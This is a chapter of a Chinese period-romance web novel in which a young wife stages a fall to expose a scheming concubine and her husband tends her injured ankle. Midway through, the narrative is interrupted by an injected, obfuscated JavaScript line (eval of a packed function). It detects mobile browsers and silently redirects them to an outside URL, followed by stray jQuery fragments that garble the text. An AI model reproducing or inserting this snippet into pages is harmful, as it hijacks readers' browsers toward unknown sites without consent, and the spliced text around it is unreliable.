17. 言谢

作品:《穿为年下男主的元配

    郗明棠自同晏晅订立了约法三章后,俩人照面间多了几分客气,话极少。


    甚是符合“相敬如宾”四字。


    她也始终未听见晏晅开口唤一声“姐姐”,只不过也未再听到“郗氏”一词。


    也算是说到做到。


    听风院清静安宁,又无需她贴身伺候,倒比她刚成婚时要好过得多。


    只不过未出半月,听风院的这一番动静,终是传入他人耳中,蠢蠢欲动。


    这日,郗明棠照常去向婆母季氏请安。


    同在请安的舒姨娘一改往日针锋相对之态,做足了为她考虑的样子:


    “听说少夫人近来一直在收拾抬进听风院的箱笼,忙的脚下不了地。如此一来,如何能有精力服侍好大公子。”


    她好心抛出一个主意:


    “我既然执掌中馈,这些事也得心应手,不如我来替少夫人收拾箱笼,好让少夫人安心养好身子,早日让夫人抱上孙子。”


    又装出颇为难办的模样继续道:


    “虽说累是累点,但若少夫人因此能早日怀上子嗣,岂不是成人之美。”


    郗明棠如何猜不透舒姨娘的打算。


    无非是借帮忙收拾箱笼,将她带来的物件悉数计入公中。


    或是留出一手,为待出阁的女儿作嫁妆也不一定。


    于是她只微微一笑,在婆母面前婉拒了舒姨娘的好意。


    季氏浸润宅中多年,早已看破其中内情。


    只不过她看破未说破,并不回应。


    如今长子待她敬重却疏离,上次好不容易二人吃上一顿饭,虽说二人关系并未因此缓和,却没必要在此关节再生事端了。


    见郗明棠断然拒绝,季氏也冷眼旁观,舒姨娘脸色变得极为难看。


    最后冷哼一声,同郗明棠一同从安和居告退了。


    只是她心中终是有股气未散出来。


    便在出了安和居后,单拦下郗明棠,冷言冷语道:


    “少夫人不会以为我看上了你那点寒酸的嫁妆吧。”


    “唔”,郗明棠转头看向她,故作认真的打量了一眼,道:


    “这我可说不好。”


    “你”,舒姨娘被气得心中更为堵塞,忽冷笑道:


    “那少夫人可得守牢了。”


    “毕竟守不住男人,连归宁都不肯作陪,少夫人也只能守着这些冷冰冰的身外之物了。”


    “多谢姨娘的肺腑之言。”


    郗明棠走近她一步,以二人能听到的声音轻飘飘道:


    “想来既没有归宁可言又没有嫁妆傍身的日子很难捱吧。”


    舒姨娘被气得跳脚。


    作为妾室,她自姑娘起便盼着的洞房花烛,归宁和乐,便成了虚无的泡影。


    纵是老爷对她宠爱有加,可以她妾室的身份,这辈子都不可能。


    为争回一口气,她冷笑道:


    “那又如何?”


    “我好歹被你公爹宠爱了半辈子,不像少夫人,大公子如此冷心冷性,刚成婚便冷待你,以后可想而知。”


    郗明棠听后面色一白,果真被戳中心事一般,忽急急捉住她的衣袖,反驳道:


    “夫君从不是这种人。”


    只见郗明棠将她的衣袖越攒越紧,不肯松开。


    面上那双眼睛却是无辜的看着她:


    “归宁那日不过是他营中有要事,去迟了些。为赔罪,他还特意送了我一只白狐。”


    嗓音放轻了许多。


    “姨娘若有空,可去我院中看。”人好似受足了委屈,连那恳求的声音到最后都低了下去。


    舒姨娘只觉郗明棠举止反常,心下狐疑不止,便想从郗明棠的手中将衣袖拉回来:


    “你装成这幅模样做什么?”


    郗明棠揪着衣袖的指尖轻轻一松,口型比出四个字:


    “以牙还牙”


    末了,眼尾一挑,露出一个轻笑。


    人却像受不住力般,狠狠摔倒在地,发出痛声。


    “明娘!”


    一道迅疾的身影从舒姨娘身边闪过。


    与此同时,背后粗犷的一声呵斥:“舒容!”


    舒姨娘面色一僵,缓缓转过身去。


    只见是晏宏立在不远处,面色阴沉。


    “老爷”,她讪讪开口,又去拉晏宏的衣襟:“不是我”


    晏晅将摔倒在地的郗明棠扶起来,只见她皱着眉心攀着他的手臂,从地上挣扎的站起来。


    “不是我推的,是她自己”,舒姨娘急忙向晏宏解释。


    晏晅扶着郗明棠,冷笑打断:


    “她让自己落得如此窘迫境地?”


    只见,被他圈在怀中的郗明棠鬓发凌乱,眸中泛红,裙摆沾着泥尘,模样很是狼狈。


    舒容:“老爷,是她自己摔的。”


    晏晅指腹擦过郗明棠的面颊,将她凌乱的鬓发别在耳后:


    “我的确是冷心冷性之人,姨娘如此论我,我认。”


    “只是,姨娘一而再、再而三欺负我的内人,是何道理?”


    晏宏听罢,眸中怒火更是压抑不住:


    “随意编排府中公子,欺压新媳。舒氏,你太令我失望了!”


    舒姨娘泪似珠一般连成线:“老爷,不是我。”


    “我只是为新媳考虑,想帮她料理箱笼。也不知怎的,她曲解我意,还故意摔倒在地。”


    只听得晏晅一声冷笑入耳:


    “呵,是帮打理,还是想将明娘的嫁妆充公?”


    舒姨娘一怔,随即更是泪如雨下:


    “少夫人如此想我便罢了,大公子怎可如此想我?”


    晏晅面容冷峻,未再理会她,只朝晏宏道:


    “父亲,此前我归宁迟了,让他人误以为我冷待明娘,反而让明娘受委屈了,是我对不住她。”


    晏宏看向郗明棠。


    只见儿媳瑟缩在长子怀中,始终不吭声,但面上委屈极了。


    他想起刚同郗老爹订立儿女婚约时,自己信誓旦旦,不让儿媳受委屈。


    不想今日从营里回来一次,反而遇上此事。


    真是惭愧。


    他对郗明棠道:“孩子,我不知你嫁过来受了如此多委屈。是晏府对不住你了。”


    晏晅提议:“既如此,父亲,不如明娘的嫁妆由她自己打理,我的私库,以及日后的俸禄也一并交给明娘。”


    “什么?”舒姨娘一怔。


    嫁妆充公没做成,反而要拿出一笔。


    她朝晏宏撇着嘴摇摇头,却见晏宏摸着青须沉思道:“如此也好。”


    又同郗明棠道:“日后若在将军府受委屈,大可来寻我。”


    “至于你,自今日起禁足两个月。”


    晏宏拂袖而去。


    舒姨娘身子一抖,追在身后:“老爷”


    一阵兵荒马乱后,只余郗明棠与晏晅。


    郗明棠松了口气。


    她强撑着站了许久,脚腕剧痛,往下跌去,被晏晅眼疾手快,一把捞在怀中。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291404|198212||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他将郗明棠打横抱起,走了几步,至一间亭子中,将她放在石凳上。


    “你的脚如何了?”


    “不碍事,劳烦晅弟你回听风院中,让我婢女来接我。”


    晏晅目光落在郗明棠面上。


    只见她鬓边沁出细密的水珠,唇角有些发白,明明在忍痛。


    他蹲下身去,伸手去捉她的缎鞋。


    却见她双足并着,忽往旁侧避开,人却倒吸一口冷气。


    只不过,晏晅手速更快。


    他一手按住她的小腿腿肚,另一只手小心翼翼退下鞋袜。


    郗明棠只觉得他的指腹极为冰凉。数次想要抽出,却被他牢牢握在手心。


    “别动。”


    晏晅压下眼眸,目光落在握在掌心的雪足上,只见白皙的足腕上一团青肿。


    他伸手按住足腕,忽猛的一沉,只听得足骨脆响。


    郗明棠未忍住轻叫出声,却发现足腕的疼痛大大减轻了:“你会正骨?”


    “嗯,营中此事常见”,他捡起鞋袜,慢条斯理为她穿上,放开后嘱咐道:


    “回去后在足腕处上药,不出两三日便能好全。”


    “真的?”


    郗明棠眉眼弯了起来,伸出手揉了揉他的颅顶,像待郗明枫那般:


    “谢谢你啊,晅弟。”


    晏晅蹲着的身子微顿,然后别开脸去,离开她的手心,语气冰冷道:


    “下次不要这么伤害自己了。”


    郗明棠的手僵在半空中,怔忡半晌。


    她垂下脑袋,看不到神情,嗓音却是淡淡:


    “嗯,是我自己摔的。原与她不相干。”


    她又自嘲的问道:“很拙劣吧。”


    晏晅:“有点,不过父亲看不出来。至于舒姨娘,也算是自作自受。”


    听他这么说,郗明棠猛的抬起头。


    却见晏晅此时站起身,背对着她:“我不知回门晚害你受这么大委屈。”


    “不过”,他侧过头:“那日我已赔过礼了,富贵如今还在你房中。”


    富贵?


    郗明棠想起那日她在面前唤白狐富贵,晏晅的眉头都皱成了一团,如今竟也叫上口了。


    郗明棠唇角弯起一个弧度:“嗯,我知道。”


    又问:“那你的私库,到时候我……”


    “也由你打理。”


    “你耳濡目染,这等打理之事应当不在话下。”


    “嗯”


    他回转过身,对她道:“走吧,我带你回听风院”


    “好”


    郗明棠原以为可以自己走,最多只需晏晅扶一下。


    却不想又被晏晅打横抱起,径直回了听风院。


    晏晅进入内室,将她放在榻上,起身后又看了她一眼:


    “上次晏厉送来的伤药对活血化瘀有用,你让人从箱底找出来抹上。”


    竟被他看出来自己未用那伤药,郗明棠眼神闪烁:“好”


    “既如此,你好好休养。”


    晏晅转身欲要离开,衣襟处却忽然一沉。


    他回眸,却见郗明棠伸手牵住他的衣襟。


    她仰着脸颊看向他,泛起波光的眸眼里倒映着他的身影:


    “谢谢你呀,晏晅。”


    女子面色温柔,眉眼带笑,这是她这一日第二次言谢。


    他目光静静落在她的面颊上,沉默半晌,然后伸出长指一抽,衣襟从她手中滑落,他别开脸去:


    “姐弟之间,不必言谢。”